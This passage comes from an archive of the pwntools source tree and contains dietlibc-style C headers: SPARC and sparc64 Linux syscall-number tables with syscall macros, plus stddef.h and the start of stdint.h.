__NR_getrusage 117 /* Common */ #define __NR_getsockopt 118 /* Common */ #define __NR_getcwd 119 /* Linux Specific */ #define __NR_readv 120 /* Common */ #define __NR_writev 121 /* Common */ #define __NR_settimeofday 122 /* Common */ #define __NR_fchown 123 /* Common */ #define __NR_fchmod 124 /* Common */ #define __NR_recvfrom 125 /* Common */ #define __NR_setreuid 126 /* Common */ #define __NR_setregid 127 /* Common */ #define __NR_rename 128 /* Common */ #define __NR_truncate 129 /* Common */ #define __NR_ftruncate 130 /* Common */ #define __NR_flock 131 /* Common */ #define __NR_lstat64 132 /* Linux sparc32 Specific */ #define __NR_sendto 133 /* Common */ #define __NR_shutdown 134 /* Common */ #define __NR_socketpair 135 /* Common */ #define __NR_mkdir 136 /* Common */ #define __NR_rmdir 137 /* Common */ #define __NR_utimes 138 /* SunOS Specific */ #define __NR_stat64 139 /* Linux sparc32 Specific */ #define __NR_sendfile64 140 /* adjtime under SunOS */ #define __NR_getpeername 141 /* Common */ #define __NR_futex 142 /* gethostid under SunOS */ #define __NR_gettid 143 /* ENOSYS under SunOS */ #define __NR_getrlimit 144 /* Common */ #define __NR_setrlimit 145 /* Common */ #define __NR_pivot_root 146 /* Linux Specific, killpg under SunOS */ #define __NR_prctl 147 /* ENOSYS under SunOS */ #define __NR_pciconfig_read 148 /* ENOSYS under SunOS */ #define __NR_pciconfig_write 149 /* ENOSYS under SunOS */ #define __NR_getsockname 150 /* Common */ /* #define __NR_getmsg 151 SunOS Specific */ /* #define __NR_putmsg 152 SunOS Specific */ #define __NR_poll 153 /* Common */ #define __NR_getdents64 154 /* Linux specific */ #define __NR_fcntl64 155 /* Linux sparc32 Specific */ /* #define __NR_getdirentires 156 SunOS Specific */ #define __NR_statfs 157 /* Common */ #define __NR_fstatfs 158 /* Common */ #define __NR_umount 159 /* Common */ #define __NR_sched_set_affinity 160 /* Linux specific, async_daemon under SunOS */ #define __NR_sched_get_affinity 161 /* Linux specific, getfh under SunOS */ #define __NR_getdomainname 162 /* SunOS Specific */ #define __NR_setdomainname 163 /* Common */ /* #define __NR_ni_syscall 164 ENOSYS under SunOS */ #define __NR_quotactl 165 /* Common */ #define __NR_set_tid_address 166 /* Linux specific, exportfs under SunOS */ #define __NR_mount 167 /* Common */ #define __NR_ustat 168 /* Common */ #define __NR_setxattr 169 /* SunOS: semsys */ #define __NR_lsetxattr 170 /* SunOS: msgsys */ #define __NR_fsetxattr 171 /* SunOS: shmsys */ #define __NR_getxattr 172 /* SunOS: auditsys */ #define __NR_lgetxattr 173 /* SunOS: rfssys */ #define __NR_getdents 174 /* Common */ #define __NR_setsid 175 /* Common */ #define __NR_fchdir 176 /* Common */ #define __NR_fgetxattr 177 /* SunOS: fchroot */ #define __NR_listxattr 178 /* SunOS: vpixsys */ #define __NR_llistxattr 179 /* SunOS: aioread */ #define __NR_flistxattr 180 /* SunOS: aiowrite */ #define __NR_removexattr 181 /* SunOS: aiowait */ #define __NR_lremovexattr 182 /* SunOS: aiocancel */ #define __NR_sigpending 183 /* Common */ #define __NR_query_module 184 /* Linux Specific */ #define __NR_setpgid 185 /* Common */ #define __NR_fremovexattr 186 /* SunOS: pathconf */ #define __NR_tkill 187 /* SunOS: fpathconf */ #define __NR_exit_group 188 /* Linux specific, sysconf undef SunOS */ #define __NR_uname 189 /* Linux Specific */ #define __NR_init_module 190 /* Linux Specific */ #define __NR_personality 191 /* Linux Specific */ #define __NR_remap_file_pages 192 /* Linux Specific */ #define __NR_epoll_create 193 /* Linux Specific */ #define __NR_epoll_ctl 194 /* Linux Specific */ #define __NR_epoll_wait 195 /* Linux Specific */ /* #define __NR_ulimit 196 Linux Specific */ #define __NR_getppid 197 /* Linux Specific */ #define __NR_sigaction 198 /* Linux Specific */ #define __NR_sgetmask 199 /* Linux Specific */ #define __NR_ssetmask 200 /* Linux Specific */ #define __NR_sigsuspend 201 /* Linux Specific */ #define __NR_oldlstat 202 /* Linux Specific */ #define __NR_uselib 203 /* Linux Specific */ #define __NR_readdir 204 /* Linux Specific */ #define __NR_readahead 205 /* Linux Specific */ #define __NR_socketcall 206 /* Linux Specific */ #define __NR_syslog 207 /* Linux Specific */ #define __NR_lookup_dcookie 208 /* Linux Specific */ #define __NR_fadvise64 209 /* Linux Specific */ #define __NR_fadvise64_64 210 /* Linux Specific */ #define __NR_tgkill 211 /* Linux Specific */ #define __NR_waitpid 212 /* Linux Specific */ #define __NR_swapoff 213 /* Linux Specific */ #define __NR_sysinfo 214 /* Linux Specific */ #define __NR_ipc 215 /* Linux Specific */ #define __NR_sigreturn 216 /* Linux Specific */ #define __NR_clone 217 /* Linux Specific */ /* #define __NR_modify_ldt 218 Linux Specific - i386 specific, unused */ #define __NR_adjtimex 219 /* Linux Specific */ #define __NR_sigprocmask 220 /* Linux Specific */ #define __NR_create_module 221 /* Linux Specific */ #define __NR_delete_module 222 /* Linux Specific */ #define __NR_get_kernel_syms 223 /* Linux Specific */ #define __NR_getpgid 224 /* Linux Specific */ #define __NR_bdflush 225 /* Linux Specific */ #define __NR_sysfs 226 /* Linux Specific */ #define __NR_afs_syscall 227 /* Linux Specific */ #define __NR_setfsuid 228 /* Linux Specific */ #define __NR_setfsgid 229 /* Linux Specific */ #define __NR__newselect 230 /* Linux Specific */ #define __NR_time 231 /* Linux Specific */ /* #define __NR_oldstat 232 Linux Specific */ #define __NR_stime 233 /* Linux Specific */ #define __NR_statfs64 234 /* Linux Specific */ #define __NR_fstatfs64 235 /* Linux Specific */ #define __NR__llseek 236 /* Linux Specific */ #define __NR_mlock 237 #define __NR_munlock 238 #define __NR_mlockall 239 #define __NR_munlockall 240 #define __NR_sched_setparam 241 #define __NR_sched_getparam 242 #define __NR_sched_setscheduler 243 #define __NR_sched_getscheduler 244 #define __NR_sched_yield 245 #define __NR_sched_get_priority_max 246 #define __NR_sched_get_priority_min 247 #define __NR_sched_rr_get_interval 248 #define __NR_nanosleep 249 #define __NR_mremap 250 #define __NR__sysctl 251 #define __NR_getsid 252 #define __NR_fdatasync 253 #define __NR_nfsservctl 254 #define __NR_aplib 255 #define __NR_clock_settime 256 #define __NR_clock_gettime 257 #define __NR_clock_getres 258 #define __NR_clock_nanosleep 259 #define __NR_sched_getaffinity 260 #define __NR_sched_setaffinity 261 #define __NR_timer_settime 262 #define __NR_timer_gettime 263 #define __NR_timer_getoverrun 264 #define __NR_timer_delete 265 #define __NR_timer_create 266 /* #define __NR_vserver 267 Reserved for VSERVER */ #define __NR_io_setup 268 #define __NR_io_destroy 269 #define __NR_io_submit 270 #define __NR_io_cancel 271 #define __NR_io_getevents 272 #define __NR_mq_open 273 #define __NR_mq_unlink 274 #define __NR_mq_timedsend 275 #define __NR_mq_timedreceive 276 #define __NR_mq_notify 277 #define __NR_mq_getsetattr 278 #define __NR_waitid 279 #define __NR_sys_setaltroot 280 #define __NR_add_key 281 #define __NR_request_key 282 #define __NR_keyctl 283 #define __NR_openat 284 #define __NR_mkdirat 285 #define __NR_mknodat 286 #define __NR_fchownat 287 #define __NR_futimesat 288 #define __NR_fstatat64 289 #define __NR_unlinkat 290 #define __NR_renameat 291 #define __NR_linkat 292 #define __NR_symlinkat 293 #define __NR_readlinkat 294 #define __NR_fchmodat 295 #define __NR_faccessat 296 #define __NR_pselect6 297 #define __NR_ppoll 298 #define __NR_unshare 299 #define __NR_set_robust_list 300 #define __NR_get_robust_list 301 #define __NR_migrate_pages 302 #define __NR_mbind 303 #define __NR_get_mempolicy 304 #define __NR_set_mempolicy 305 #define __NR_kexec_load 306 #define __NR_move_pages 307 #define __NR_getcpu 308 #define __NR_epoll_pwait 309 #define __NR_utimensat 310 #define __NR_signalfd 311 #define __NR_timerfd 312 #define __NR_eventfd 313 #define __NR_fallocate 314 #define __NR_timerfd_settime 315 #define __NR_timerfd_gettime 316 #define __NR_signalfd4 317 #define __NR_eventfd2 318 #define __NR_epoll_create1 319 #define __NR_dup3 320 #define __NR_pipe2 321 #define __NR_inotify_init1 322 #define __NR_accept4 323 #define __NR_preadv 324 #define __NR_pwritev 325 #define __NR_rt_tgsigqueueinfo 326 #define __NR_perf_event_open 327 #define __NR_recvmmsg 328 #define __NR_fanotify_init 329 #define __NR_fanotify_mark 330 #define __NR_prlimit64 331 #define __NR_name_to_handle_at 332 #define __NR_open_by_handle_at 333 #define __NR_clock_adjtime 334 #define __NR_syncfs 335 #define __NR_sendmmsg 336 #define __NR_setns 337 #define __NR_process_vm_readv 338 #define __NR_process_vm_writev 339 #define __NR_kern_features 340 #define __NR_kcmp 341 #define __NR_finit_module 342 #define __NR_sched_setattr 343 #define __NR_sched_getattr 344 #define __NR_renameat2 345 #define __NR_seccomp 346 #define __NR_getrandom 347 #define __NR_memfd_create 348 #define __NR_bpf 349 #define __NR_execveat 350 #define __NR_membarrier 351 #define __NR_userfaultfd 352 #define __NR_bind 353 #define __NR_listen 354 #define __NR_setsockopt 355 #define __NR_mlock2 356 #define __NR_copy_file_range 357 #define __NR_preadv2 358 #define __NR_pwritev2 359 #define __NR_statx 360 #define __NR_io_pgetevents 361 #define __NR_pkey_mprotect 362 #define __NR_pkey_alloc 363 #define __NR_pkey_free 364 #define __NR_rseq 365 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,function; \ .weak wsym; \ wsym: ; \ .type sym,function; \ .global sym; \ sym: \ b __unified_syscall; \ mov __NR_##name, %g1 #define syscall(name,sym) \ .text; \ .type sym,function; \ .global sym; \ sym: \ b __unified_syscall; \ mov __NR_##name, %g1 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sparc64/000077500000000000000000000000001507273764500275505ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sparc64/syscalls.h000066400000000000000000000600371507273764500315640ustar00rootroot00000000000000 #define __NR_exit 1 /* Common */ #define __NR_fork 2 /* Common */ #define __NR_read 3 /* Common */ #define __NR_write 4 /* Common */ #define __NR_open 5 /* Common */ #define __NR_close 6 /* Common */ #define __NR_wait4 7 /* Common */ #define __NR_creat 8 /* Common */ #define __NR_link 9 /* Common */ #define __NR_unlink 10 /* Common */ #define __NR_execv 11 /* SunOS Specific */ #define __NR_chdir 12 /* Common */ #define __NR_chown 13 /* Common */ #define __NR_mknod 14 /* Common */ #define __NR_chmod 15 /* Common */ #define __NR_lchown 16 /* Common */ #define __NR_brk 17 /* Common */ #define __NR_perfctr 18 /* Performance counter operations */ #define __NR_lseek 19 /* Common */ #define __NR_getpid 20 /* Common */ #define __NR_capget 21 /* Linux Specific */ #define __NR_capset 22 /* Linux Specific */ #define __NR_setuid 23 /* Implemented via setreuid in SunOS */ #define __NR_getuid 24 /* Common */ /* #define __NR_time alias 25 ENOSYS under SunOS */ #define __NR_ptrace 26 /* Common */ #define __NR_alarm 27 /* Implemented via setitimer in SunOS */ #define __NR_sigaltstack 28 /* Common */ #define __NR_pause 29 /* Is sigblock(0)->sigpause() in SunOS */ #define __NR_utime 30 /* Implemented via utimes() under SunOS */ /* #define __NR_lchown32 31 Linux sparc32 specific */ /* #define __NR_fchown32 32 Linux sparc32 specific */ #define __NR_access 33 /* Common */ #define __NR_nice 34 /* Implemented via get/setpriority() in SunOS */ /* #define __NR_chown32 35 Linux sparc32 specific */ #define __NR_sync 36 /* Common */ #define __NR_kill 37 /* Common */ #define __NR_stat 38 /* Common */ #define __NR_sendfile 39 /* Linux Specific */ #define __NR_lstat 40 /* Common */ #define __NR_dup 41 /* Common */ #define __NR_pipe 42 /* Common */ #define __NR_times 43 /* Implemented via getrusage() in SunOS */ /* #define __NR_getuid32 44 Linux sparc32 specific */ #define __NR_umount2 45 /* Linux Specific */ #define __NR_setgid 46 /* Implemented via setregid() in SunOS */ #define __NR_getgid 47 /* Common */ #define __NR_signal 48 /* Implemented via sigvec() in SunOS */ #define __NR_geteuid 49 /* SunOS calls getuid() */ #define __NR_getegid 50 /* SunOS calls getgid() */ #define __NR_acct 51 /* Common */ #define __NR_memory_ordering 52 /* Linux Specific */ /* #define __NR_getgid32 53 Linux sparc32 specific */ #define __NR_ioctl 54 /* Common */ #define __NR_reboot 55 /* Common */ /* #define __NR_mmap2 56 Linux sparc32 Specific */ #define __NR_symlink 57 /* Common */ #define __NR_readlink 58 /* Common */ #define __NR_execve 59 /* Common */ #define __NR_umask 60 /* Common */ #define __NR_chroot 61 /* Common */ #define __NR_fstat 62 /* Common */ /* #define __NR_fstat64 63 Linux sparc32 Specific */ #define __NR_getpagesize 64 /* Common */ #define __NR_msync 65 /* Common in newer 1.3.x revs... */ #define __NR_vfork 66 /* Common */ #define __NR_pread 67 /* Linux Specific */ #define __NR_pwrite 68 /* Linux Specific */ /* #define __NR_geteuid32 69 Linux sparc32, sbrk under SunOS */ /* #define __NR_getegid32 70 Linux sparc32, sstk under SunOS */ #define __NR_mmap 71 /* Common */ /* #define __NR_setreuid32 72 Linux sparc32, vadvise under SunOS */ #define __NR_munmap 73 /* Common */ #define __NR_mprotect 74 /* Common */ #define __NR_madvise 75 /* Common */ #define __NR_vhangup 76 /* Common */ /* #define __NR_truncate64 77 Linux sparc32 Specific */ #define __NR_mincore 78 /* Common */ #define __NR_getgroups 79 /* Common */ #define __NR_setgroups 80 /* Common */ #define __NR_getpgrp 81 /* Common */ /* #define __NR_setgroups32 82 Linux sparc32, setpgrp under SunOS */ #define __NR_setitimer 83 /* Common */ /* #define __NR_ftruncate64 84 Linux sparc32 Specific */ #define __NR_swapon 85 /* Common */ #define __NR_getitimer 86 /* Common */ /* #define __NR_setuid32 87 Linux sparc32, gethostname under SunOS */ #define __NR_sethostname 88 /* Common */ /* #define __NR_setgid32 89 Linux sparc32, getdtablesize under SunOS */ #define __NR_dup2 90 /* Common */ /* #define __NR_setfsuid32 91 Linux sparc32, getdopt under SunOS */ #define __NR_fcntl 92 /* Common */ #define __NR_select 93 /* Common */ /* #define __NR_setfsgid32 94 Linux sparc32, setdopt under SunOS */ #define __NR_fsync 95 /* Common */ #define __NR_setpriority 96 /* Common */ #define __NR_socket 97 /* Common */ #define __NR_connect 98 /* Common */ #define __NR_accept 99 /* Common */ #define __NR_getpriority 100 /* Common */ #define __NR_rt_sigreturn 101 /* Linux Specific */ #define __NR_rt_sigaction 102 /* Linux Specific */ #define __NR_rt_sigprocmask 103 /* Linux Specific */ #define __NR_rt_sigpending 104 /* Linux Specific */ #define __NR_rt_sigtimedwait 105 /* Linux Specific */ #define __NR_rt_sigqueueinfo 106 /* Linux Specific */ #define __NR_rt_sigsuspend 107 /* Linux Specific */ #define __NR_setresuid 108 /* Linux Specific, sigvec under SunOS */ #define __NR_getresuid 109 /* Linux Specific, sigblock under SunOS */ #define __NR_setresgid 110 /* Linux Specific, sigsetmask under SunOS */ #define __NR_getresgid 111 /* Linux Specific, sigpause under SunOS */ /* #define __NR_setregid32 75 Linux sparc32, sigstack under SunOS */ #define __NR_recvmsg 113 /* Common */ #define __NR_sendmsg 114 /* Common */ /* #define __NR_getgroups32 115 Linux sparc32, vtrace under SunOS */ #define __NR_gettimeofday 116 /* Common */ #define __NR_getrusage 117 /* Common */ #define __NR_getsockopt 118 /* Common */ #define __NR_getcwd 119 /* Linux Specific */ #define __NR_readv 120 /* Common */ #define __NR_writev 121 /* Common */ #define __NR_settimeofday 122 /* Common */ #define __NR_fchown 123 /* Common */ #define __NR_fchmod 124 /* Common */ #define __NR_recvfrom 125 /* Common */ #define __NR_setreuid 126 /* Common */ #define __NR_setregid 127 /* Common */ #define __NR_rename 128 /* Common */ #define __NR_truncate 129 /* Common */ #define __NR_ftruncate 130 /* Common */ #define __NR_flock 131 /* Common */ /* #define __NR_lstat64 132 Linux sparc32 Specific */ #define __NR_sendto 133 /* Common */ #define __NR_shutdown 134 /* Common */ #define __NR_socketpair 135 /* Common */ #define __NR_mkdir 136 /* Common */ #define __NR_rmdir 137 /* Common */ #define __NR_utimes 138 /* SunOS Specific */ /* #define __NR_stat64 139 Linux sparc32 Specific */ #define __NR_sendfile64 140 /* adjtime under SunOS */ #define __NR_getpeername 141 /* Common */ #define __NR_futex 142 /* gethostid under SunOS */ #define __NR_gettid 143 /* ENOSYS under SunOS */ #define __NR_getrlimit 144 /* Common */ #define __NR_setrlimit 145 /* Common */ #define __NR_pivot_root 146 /* Linux Specific, killpg under SunOS */ #define __NR_prctl 147 /* ENOSYS under SunOS */ #define __NR_pciconfig_read 148 /* ENOSYS under SunOS */ #define __NR_pciconfig_write 149 /* ENOSYS under SunOS */ #define __NR_getsockname 150 /* Common */ /* #define __NR_getmsg 151 SunOS Specific */ /* #define __NR_putmsg 152 SunOS Specific */ #define __NR_poll 153 /* Common */ #define __NR_getdents64 154 /* Linux specific */ /* #define __NR_fcntl64 155 Linux sparc32 Specific */ /* #define __NR_getdirentries 156 SunOS Specific */ #define __NR_statfs 157 /* Common */ #define __NR_fstatfs 158 /* Common */ #define __NR_umount 159 /* Common */ #define __NR_sched_set_affinity 160 /* Linux specific, async_daemon under SunOS */ #define __NR_sched_get_affinity 161 /* Linux specific, getfh under SunOS */ #define __NR_getdomainname 162 /* SunOS Specific */ #define __NR_setdomainname 163 /* Common */ #define __NR_utrap_install 164 /* SYSV ABI/v9 required */ #define __NR_quotactl 165 /* Common */ #define __NR_set_tid_address 166 /* Linux specific, exportfs under SunOS */ #define __NR_mount 167 /* Common */ #define __NR_ustat 168 /* Common */ #define __NR_setxattr 169 /* SunOS: semsys */ #define __NR_lsetxattr 170 /* SunOS: msgsys */ #define __NR_fsetxattr 171 /* SunOS: shmsys */ #define __NR_getxattr 172 /* SunOS: auditsys */ #define __NR_lgetxattr 173 /* SunOS: rfssys */ #define __NR_getdents 174 /* Common */ #define __NR_setsid 175 /* Common */ #define __NR_fchdir 176 /* Common */ #define __NR_fgetxattr 177 /* SunOS: fchroot */ #define __NR_listxattr 178 /* SunOS: vpixsys */ #define __NR_llistxattr 179 /* SunOS: aioread */ #define __NR_flistxattr 180 /* SunOS: aiowrite */ #define __NR_removexattr 181 /* SunOS: aiowait */ #define __NR_lremovexattr 182 /* SunOS: aiocancel */ #define __NR_sigpending 183 /* Common */ #define __NR_query_module 184 /* Linux Specific */ #define __NR_setpgid 185 /* Common */ #define __NR_fremovexattr 186 /* SunOS: pathconf */ #define __NR_tkill 187 /* SunOS: fpathconf */ #define __NR_exit_group 188 /* Linux specific, sysconf undef SunOS */ #define __NR_uname 189 /* Linux Specific */ #define __NR_init_module 190 /* Linux Specific */ #define __NR_personality 191 /* Linux Specific */ #define __NR_remap_file_pages 192 /* Linux Specific */ #define __NR_epoll_create 193 /* Linux Specific */ #define __NR_epoll_ctl 194 /* Linux Specific */ #define __NR_epoll_wait 195 /* Linux Specific */ /* #define __NR_ulimit 196 Linux Specific */ #define __NR_getppid 197 /* Linux Specific */ #define __NR_sigaction 198 /* Linux Specific */ #define __NR_sgetmask 199 /* Linux Specific */ #define __NR_ssetmask 200 /* Linux Specific */ #define __NR_sigsuspend 201 /* Linux Specific */ #define __NR_oldlstat 202 /* Linux Specific */ #define __NR_uselib 203 /* Linux Specific */ #define __NR_readdir 204 /* Linux Specific */ #define __NR_readahead 205 /* Linux Specific */ #define __NR_socketcall 206 /* Linux Specific */ #define __NR_syslog 207 /* Linux Specific */ #define __NR_lookup_dcookie 208 /* Linux Specific */ #define __NR_fadvise64 209 /* Linux Specific */ #define __NR_fadvise64_64 210 /* Linux Specific */ #define __NR_tgkill 211 /* Linux Specific */ #define __NR_waitpid 212 /* Linux Specific */ #define __NR_swapoff 213 /* Linux Specific */ #define __NR_sysinfo 214 /* Linux Specific */ #define __NR_ipc 215 /* Linux Specific */ #define __NR_sigreturn 216 /* Linux Specific */ #define __NR_clone 217 /* Linux Specific */ /* #define __NR_modify_ldt 218 Linux Specific - i386 specific, unused */ #define __NR_adjtimex 219 /* Linux Specific */ #define __NR_sigprocmask 220 /* Linux Specific */ #define __NR_create_module 221 /* Linux Specific */ #define __NR_delete_module 222 /* Linux Specific */ #define __NR_get_kernel_syms 223 /* Linux Specific */ #define __NR_getpgid 224 /* Linux Specific */ #define __NR_bdflush 225 /* Linux Specific */ #define __NR_sysfs 226 /* Linux Specific */ #define __NR_afs_syscall 227 /* Linux Specific */ #define __NR_setfsuid 228 /* Linux Specific */ #define __NR_setfsgid 229 /* Linux Specific */ #define __NR__newselect 230 /* Linux Specific */ /* #define __NR_oldstat 232 Linux Specific */ #define __NR_stime 233 /* Linux Specific */ #define __NR_statfs64 234 /* Linux Specific */ #define __NR_fstatfs64 235 /* Linux Specific */ #define __NR__llseek 236 /* Linux Specific */ #define __NR_mlock 237 #define __NR_munlock 238 #define __NR_mlockall 239 #define __NR_munlockall 240 #define __NR_sched_setparam 241 #define __NR_sched_getparam 242 #define __NR_sched_setscheduler 243 #define __NR_sched_getscheduler 244 #define __NR_sched_yield 245 #define __NR_sched_get_priority_max 246 #define __NR_sched_get_priority_min 247 #define __NR_sched_rr_get_interval 248 #define __NR_nanosleep 249 #define __NR_mremap 250 #define __NR__sysctl 251 #define __NR_getsid 252 #define __NR_fdatasync 253 #define __NR_nfsservctl 254 #define __NR_aplib 255 #define __NR_clock_settime 256 #define __NR_clock_gettime 257 #define __NR_clock_getres 258 #define __NR_clock_nanosleep 259 #define __NR_sched_getaffinity 260 #define __NR_sched_setaffinity 261 #define __NR_timer_settime 262 #define __NR_timer_gettime 263 #define __NR_timer_getoverrun 264 #define __NR_timer_delete 265 #define __NR_timer_create 266 /* #define __NR_vserver 267 Reserved for VSERVER */ #define __NR_io_setup 268 #define __NR_io_destroy 269 #define __NR_io_submit 270 #define __NR_io_cancel 271 #define __NR_io_getevents 272 #define __NR_mq_open 273 #define __NR_mq_unlink 274 #define __NR_mq_timedsend 275 #define __NR_mq_timedreceive 276 #define __NR_mq_notify 277 #define __NR_mq_getsetattr 278 #define __NR_waitid 279 /*#define __NR_sys_setaltroot 280 available (was setaltroot) */ #define __NR_add_key 281 #define __NR_request_key 282 #define __NR_keyctl 283 #define __NR_openat 284 #define __NR_mkdirat 285 #define __NR_mknodat 286 #define __NR_fchownat 287 #define __NR_futimesat 288 #define __NR_fstatat64 289 #define __NR_unlinkat 290 #define __NR_renameat 291 #define __NR_linkat 292 #define __NR_symlinkat 293 #define __NR_readlinkat 294 #define __NR_fchmodat 295 #define __NR_faccessat 296 #define __NR_pselect6 297 #define __NR_ppoll 298 #define __NR_unshare 299 #define __NR_set_robust_list 300 #define __NR_get_robust_list 301 #define __NR_migrate_pages 302 #define __NR_mbind 303 #define __NR_get_mempolicy 304 #define __NR_set_mempolicy 305 #define __NR_kexec_load 306 #define __NR_move_pages 307 #define __NR_getcpu 308 #define __NR_epoll_pwait 309 #define __NR_utimensat 310 #define __NR_signalfd 311 #define __NR_timerfd 312 #define __NR_eventfd 313 #define __NR_fallocate 314 #define __NR_timerfd_settime 315 #define __NR_timerfd_gettime 316 #define __NR_signalfd4 317 #define __NR_eventfd2 318 #define __NR_epoll_create1 319 #define __NR_dup3 320 #define __NR_pipe2 321 #define __NR_inotify_init1 322 #define __NR_accept4 323 #define __NR_preadv 324 #define __NR_pwritev 325 #define __NR_rt_tgsigqueueinfo 326 #define __NR_perf_event_open 327 #define __NR_recvmmsg 328 #define __NR_fanotify_init 329 #define __NR_fanotify_mark 330 #define __NR_prlimit64 331 #define __NR_name_to_handle_at 332 #define __NR_open_by_handle_at 333 #define __NR_clock_adjtime 334 #define __NR_syncfs 335 #define __NR_sendmmsg 336 #define __NR_setns 337 #define __NR_process_vm_readv 338 #define __NR_process_vm_writev 339 #define __NR_kern_features 340 #define __NR_kcmp 341 #define __NR_finit_module 342 #define __NR_sched_setattr 343 #define __NR_sched_getattr 344 #define __NR_renameat2 345 #define __NR_seccomp 346 #define __NR_getrandom 347 #define __NR_memfd_create 348 #define __NR_bpf 349 #define __NR_execveat 350 #define __NR_membarrier 351 #define __NR_userfaultfd 352 #define __NR_bind 353 #define __NR_listen 354 #define __NR_setsockopt 355 #define __NR_mlock2 356 #define __NR_copy_file_range 357 #define __NR_preadv2 358 #define __NR_pwritev2 359 #define __NR_statx 360 #define __NR_io_pgetevents 361 #define __NR_pkey_mprotect 362 #define __NR_pkey_alloc 363 #define __NR_pkey_free 364 #define __NR_rseq 365 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,function; \ .weak wsym; \ wsym: ; \ .type sym,function; \ .global sym; \ sym: \ b __unified_syscall; \ mov __NR_##name, %g1 #define syscall(name,sym) \ .text; \ .type sym,function; \ .global sym; \ sym: \ b __unified_syscall; \ mov __NR_##name, %g1 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/stddef.h000066400000000000000000000012321507273764500277060ustar00rootroot00000000000000#ifndef _STDDEF_H #define _STDDEF_H #include __BEGIN_DECLS /* ugh. This is normally provided by gcc. */ #ifdef __GNUC__ typedef __PTRDIFF_TYPE__ ptrdiff_t; typedef __SIZE_TYPE__ size_t; #if !defined(__cplusplus) typedef __WCHAR_TYPE__ wchar_t; #endif #else typedef signed long ptrdiff_t; typedef unsigned long size_t; typedef int wchar_t; #endif #undef NULL #if defined(__cplusplus) #define NULL 0 #else #define NULL (void*)0 #endif #undef offsetof #if defined(__GNUC__) && (__GNUC >= 3) #define offsetof(type,member) __builtin_offsetof(type,member) #else #define offsetof(type,member) ((size_t) &((type*)0)->member) #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/stdint.h000066400000000000000000000070661507273764500277550ustar00rootroot00000000000000#ifndef _STDINT_H #define _STDINT_H #include #include __BEGIN_DECLS typedef int8_t int_least8_t; typedef int16_t int_least16_t; typedef int32_t int_least32_t; typedef int64_t int_least64_t; typedef uint8_t uint_least8_t; typedef uint16_t uint_least16_t; typedef uint32_t uint_least32_t; typedef uint64_t uint_least64_t; typedef signed char int_fast8_t; typedef signed long int int_fast16_t; typedef signed long int int_fast32_t; typedef int64_t int_fast64_t; typedef unsigned char uint_fast8_t; typedef unsigned long int uint_fast16_t; typedef unsigned long int uint_fast32_t; typedef uint64_t uint_fast64_t; /* The ISO C99 standard specifies that in C++ implementations these should only be defined if explicitly requested. */ #if !defined __cplusplus || defined __STDC_LIMIT_MACROS #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807ll) #define INT8_MIN (-1 - INT8_MAX) #define INT16_MIN (-1 - INT16_MAX) #define INT32_MIN (-1 - INT32_MAX) #define INT64_MIN (-1 - INT64_MAX) #define INT_LEAST8_MAX INT8_MAX #define INT_LEAST8_MIN INT8_MIN #define INT_LEAST16_MAX INT16_MAX #define INT_LEAST16_MIN INT16_MIN #define INT_LEAST32_MAX INT32_MAX #define INT_LEAST32_MIN INT32_MIN #define INT_LEAST64_MAX INT64_MAX #define INT_LEAST64_MIN INT64_MIN #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xfffffffful #define UINT64_MAX 0xffffffffffffffffull #define UINT_LEAST8_MAX UINT8_MAX #define UINT_LEAST16_MAX UINT16_MAX #define UINT_LEAST32_MAX UINT32_MAX #define UINT_LEAST64_MAX UINT64_MAX #if __WORDSIZE == 64 #define INTPTR_MIN INT64_MIN #define INTPTR_MAX INT64_MAX #define UINTPTR_MAX UINT64_MAX #else #define INTPTR_MIN INT32_MIN #define INTPTR_MAX INT32_MAX #define UINTPTR_MAX UINT32_MAX #endif #define SIZE_MAX UINTPTR_MAX #define PTRDIFF_MIN INTPTR_MIN #define PTRDIFF_MAX INTPTR_MAX #define INTMAX_MIN INT64_MIN #define INTMAX_MAX INT64_MAX #define UINTMAX_MAX UINT64_MAX #define INT_FAST8_MIN INT8_MIN #define INT_FAST8_MAX INT8_MAX #define INT_FAST64_MIN INT64_MIN #define INT_FAST64_MAX 